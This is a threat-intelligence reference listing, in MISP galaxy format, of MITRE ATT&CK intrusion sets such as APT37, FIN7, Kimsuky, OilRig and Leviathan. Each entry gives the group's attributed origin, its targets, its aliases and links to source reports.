[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.

The tag is: *misp-galaxy:mitre-intrusion-set="APT37 - G0067"*

APT37 - G0067 is also known as:

- APT37
- InkySquid
- ScarCruft
- Reaper
- Group123
- TEMP.Reaper
- Ricochet Chollima

View relationships graph

APT37 - G0067 has relationships with:

- similar: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="ScarCruft - APT-C-28" with estimative-language:likelihood-probability="likely"

Table 10832. Table References

Links
https://attack.mitre.org/groups/G0067
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://securelist.com/operation-daybreak/75100/
https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/
https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf
https://www.crowdstrike.com/adversaries/ricochet-chollima/

https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/

FIN6 - G0037

[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN6 - G0037"*

FIN6 - G0037 is also known as:

- FIN6
- Magecart Group 6
- ITG08
- Skeleton Spider
- TAAL
- Camouflage Tempest

View relationships graph

FIN6 - G0037 has relationships with:

- similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"

Table 10833. Table References

Links
https://attack.mitre.org/groups/G0037
https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://web.archive.org/web/20190807112824/https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

GCMAN - G0036

[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)

The tag is: *misp-galaxy:mitre-intrusion-set="GCMAN - G0036"*

GCMAN - G0036 is also known as:

- GCMAN

View relationships graph

GCMAN - G0036 has relationships with:

- similar: misp-galaxy:threat-actor="GCMAN" with estimative-language:likelihood-probability="likely"

Table 10834. Table References

Links
https://attack.mitre.org/groups/G0036
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

BlackOasis - G0063

[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="BlackOasis - G0063"*

BlackOasis - G0063 is also known as:

- BlackOasis

Table 10835. Table References

Links
https://attack.mitre.org/groups/G0063
https://securelist.com/apt-trends-report-q2-2017/79332/
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/

https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

APT39 - G0087

[APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyber espionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="APT39 - G0087"*

APT39 - G0087 is also known as:

- APT39
- ITG07
- Chafer
- Remix Kitten

Table 10836. Table References

Links
https://attack.mitre.org/groups/G0087
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://home.treasury.gov/news/press-releases/sm1127
https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html
https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf
https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

SilverTerrier - G0083

[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42

SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="SilverTerrier - G0083"*

SilverTerrier - G0083 is also known as:

- SilverTerrier

Table 10837. Table References

Links
https://attack.mitre.org/groups/G0083
https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

GALLIUM - G0093

[GALLIUM](https://attack.mitre.org/groups/G0093) is a cyberespionage group that has been active since at least 2012, primarily targeting telecommunications companies, financial institutions, and government entities in Afghanistan, Australia, Belgium, Cambodia, Malaysia, Mozambique, the Philippines, Russia, and Vietnam. This group is particularly known for launching Operation Soft Cell, a long-term campaign targeting telecommunications providers.(Citation: Cybereason Soft Cell June 2019) Security researchers have identified [GALLIUM](https://attack.mitre.org/groups/G0093) as a likely Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)(Citation: Unit 42 PingPull Jun 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="GALLIUM - G0093"*

GALLIUM - G0093 is also known as:

- GALLIUM
- Granite Typhoon

Table 10838. Table References

Links
https://attack.mitre.org/groups/G0093
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://unit42.paloaltonetworks.com/pingpull-gallium/
https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

Suckfly - G0039

[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Suckfly - G0039"*

Suckfly - G0039 is also known as:

- Suckfly

View relationships graph

Suckfly - G0039 has relationships with:

- similar: misp-galaxy:threat-actor="APT22" with estimative-language:likelihood-probability="likely"

Table 10839. Table References

Links
http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
https://attack.mitre.org/groups/G0039

FIN4 - G0085

[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN4 - G0085"*

FIN4 - G0085 is also known as:

- FIN4

Table 10840. Table References

Links
https://attack.mitre.org/groups/G0085
https://web.archive.org/web/20190508171649/https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html

https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf
https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html

menuPass - G0045

[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="menuPass - G0045"*

menuPass - G0045 is also known as:

- menuPass
- Cicada
- POTASSIUM
- Stone Panda
- APT10
- Red Apollo
- CVNX
- HOGFISH
- BRONZE RIVERSIDE

View relationships graph

menuPass - G0045 has relationships with:

- similar: misp-galaxy:threat-actor="APT10" with estimative-language:likelihood-probability="likely"

Table 10841. Table References

Links

http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf
https://attack.mitre.org/groups/G0045
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
https://www.justice.gov/opa/page/file/1122671/download
https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion
https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.slideshare.net/slideshow/crowd-casts-monthly-you-have-an-adversary-problem/27262315

Sowbug - G0054

[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Sowbug - G0054"*

Sowbug - G0054 is also known as:

- Sowbug

View relationships graph

Sowbug - G0054 has relationships with:

- similar: misp-galaxy:threat-actor="Sowbug" with estimative-language:likelihood-probability="likely"

Table 10842. Table References

Links

https://attack.mitre.org/groups/G0054
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

FIN7 - G0046

[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013. [FIN7](https://attack.mitre.org/groups/G0046) has targeted the retail, restaurant, hospitality, software, consulting, financial services, medical equipment, cloud services, media, food and beverage, transportation, pharmaceutical, and utilities industries in the United States. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was operated out of a front company called Combi Security and often used point-of-sale malware for targeting efforts. Since 2020, [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to big game hunting (BGH), including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware-as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but multiple threat groups have been observed using [Carbanak](https://attack.mitre.org/software/S0030), leading these groups to be tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 Apr 2022)(Citation: BiZone Lizar May 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN7 - G0046"*

FIN7 - G0046 is also known as:

- FIN7
- GOLD NIAGARA
- ITG14
- Carbon Spider
- ELBRUS
- Sangria Tempest

View relationships graph

FIN7 - G0046 has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"

Table 10843. Table References

Links
http://blog.morphisec.com/fin7-attacks-restaurant-industry
https://attack.mitre.org/groups/G0046
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319

https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/
https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html
https://www.mandiant.com/resources/evolution-of-fin7
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.secureworks.com/research/threat-profiles/gold-niagara

Gallmaker - G0084

[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Gallmaker - G0084"*

Gallmaker - G0084 is also known as:

- Gallmaker

Table 10844. Table References

Links
https://attack.mitre.org/groups/G0084
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group

RTM - G0048

[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="RTM - G0048"*

RTM - G0048 is also known as:

- RTM

Table 10845. Table References

Links
https://attack.mitre.org/groups/G0048
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

Kimsuky - G0094

[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially targeted South Korean government agencies, think tanks, and subject-matter experts in various fields. Its operations expanded to include the United Nations and organizations in the government, education, business services, and manufacturing sectors across the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused collection on foreign policy and national security issues tied to the Korean Peninsula, nuclear policy, and sanctions. Its operations have overlapped with other DPRK actors, likely due to ad hoc collaboration or limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024) Because of overlapping operations, some researchers group a wide range of North Korean state-sponsored cyber activity under the broader [Lazarus Group](https://attack.mitre.org/groups/G0032) umbrella rather than tracking separate subgroup or cluster distinctions.

[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)

In 2023, [Kimsuky](https://attack.mitre.org/groups/G0094) was observed using commercial large language models to assist with vulnerability research, scripting, social engineering and reconnaissance.(Citation: MSFT-AI)

The tag is: *misp-galaxy:mitre-intrusion-set="Kimsuky - G0094"*

Kimsuky - G0094 is also known as:

- Kimsuky
- Black Banshee
- Velvet Chollima
- Emerald Sleet
- THALLIUM
- APT43

- TA427
- Springtail

Table 10846. Table References

Links
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/
https://attack.mitre.org/groups/G0094
https://blog.alyac.co.kr/2234
https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/
https://global.ahnlab.com/global/upload/download/techreport/%5BAnalysis_Report%5DOperation%20Kabar%20Cobra.pdf
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/
https://services.google.com/fh/files/misc/apt43-report-en.pdf
https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/
https://us-cert.cisa.gov/ncas/alerts/aa20-301a
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/
https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering
https://www.security.com/threat-intelligence/springtail-kimsuky-backdoor-espionage
https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/

OilRig - G0049

[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. The group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: Unit 42 QUADAGENT July 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="OilRig - G0049"*

OilRig - G0049 is also known as:

- OilRig
- COBALT GYPSY
- IRN2
- APT34
- Helix Kitten
- Evasive Serpens
- Hazel Sandstorm
- EUROPIUM
- ITG13
- Earth Simnavaz
- Crambus
- TA452

View relationships graph

OilRig - G0049 has relationships with:

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 10847. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
http://www.clearskysec.com/oilrig/
https://attack.mitre.org/groups/G0049
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://pan-unit42.github.io/playbook_viewer/
https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://www.proofpoint.com/us/corporate-blog/post/iranian-state-sponsored-and-aligned-attacks-what-you-need-know-and-steps-protect
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.security.com/threat-intelligence/crambus-middle-east-government
https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html

NEODYMIUM - G0055

[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"*

NEODYMIUM - G0055 is also known as:

- NEODYMIUM

View relationships graph

NEODYMIUM - G0055 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 10848. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf

https://attack.mitre.org/groups/G0055
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

PROMETHIUM - G0056

[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"*

PROMETHIUM - G0056 is also known as:

- PROMETHIUM
- StrongPity

View relationships graph

PROMETHIUM - G0056 has relationships with:

- similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 10849. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/groups/G0056
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf

Leviathan - G0065

[Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Australia, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA Leviathan 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Leviathan - G0065"*

Leviathan - G0065 is also known as:

- Leviathan
- MUDCARP
- Kryptonite Panda
- Gadolinium
- BRONZE MOHAWK
- TEMP.Jumper
- APT40
- TEMP.Periscope
- Gingham Typhoon

View relationships graph

Leviathan - G0065 has relationships with:

- similar: misp-galaxy:threat-actor="APT40" with estimative-language:likelihood-probability="likely"

Table 10850. Table References

Links
https://attack.mitre.org/groups/G0065
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://us-cert.cisa.gov/ncas/alerts/aa21-200a
https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-190a
https://www.crowdstrike.com/blog/two-birds-one-stone-panda/
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.secureworks.com/research/threat-profiles/bronze-mohawk

Rancor - G0075

[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Rancor - G0075"*

Rancor - G0075 is also known as:

- Rancor

Table 10851. Table References

Links
https://attack.mitre.org/groups/G0075
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Machete - G0095

[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Machete - G0095"*

Machete - G0095 is also known as:

- Machete
- APT-C-43
- El Machete

View relationships graph

Machete - G0095 has relationships with:

- similar: misp-galaxy:360net-threat-actor="Machete - APT-C-43" with estimative-language:likelihood-probability="likely"

Table 10852. Table References

Links
https://attack.mitre.org/groups/G0095
https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/
https://securelist.com/el-machete/66108/
https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

Elderwood - G0066

[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)

The tag is: *misp-galaxy:mitre-intrusion-set="Elderwood - G0066"*

Elderwood - G0066 is also known as:

- Elderwood
- Elderwood Gang
- Beijing Group
- Sneaky Panda

View relationships graph

Elderwood - G0066 has relationships with:

- similar: misp-galaxy:threat-actor="Beijing Group" with estimative-language:likelihood-probability="likely"

Table 10853. Table References

Links
http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html
https://attack.mitre.org/groups/G0066

https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China

Thrip - G0076

[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. (Citation: Symantec Thrip June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Thrip - G0076"*

Thrip - G0076 is also known as:

- Thrip

Table 10854. Table References

Links
https://attack.mitre.org/groups/G0076
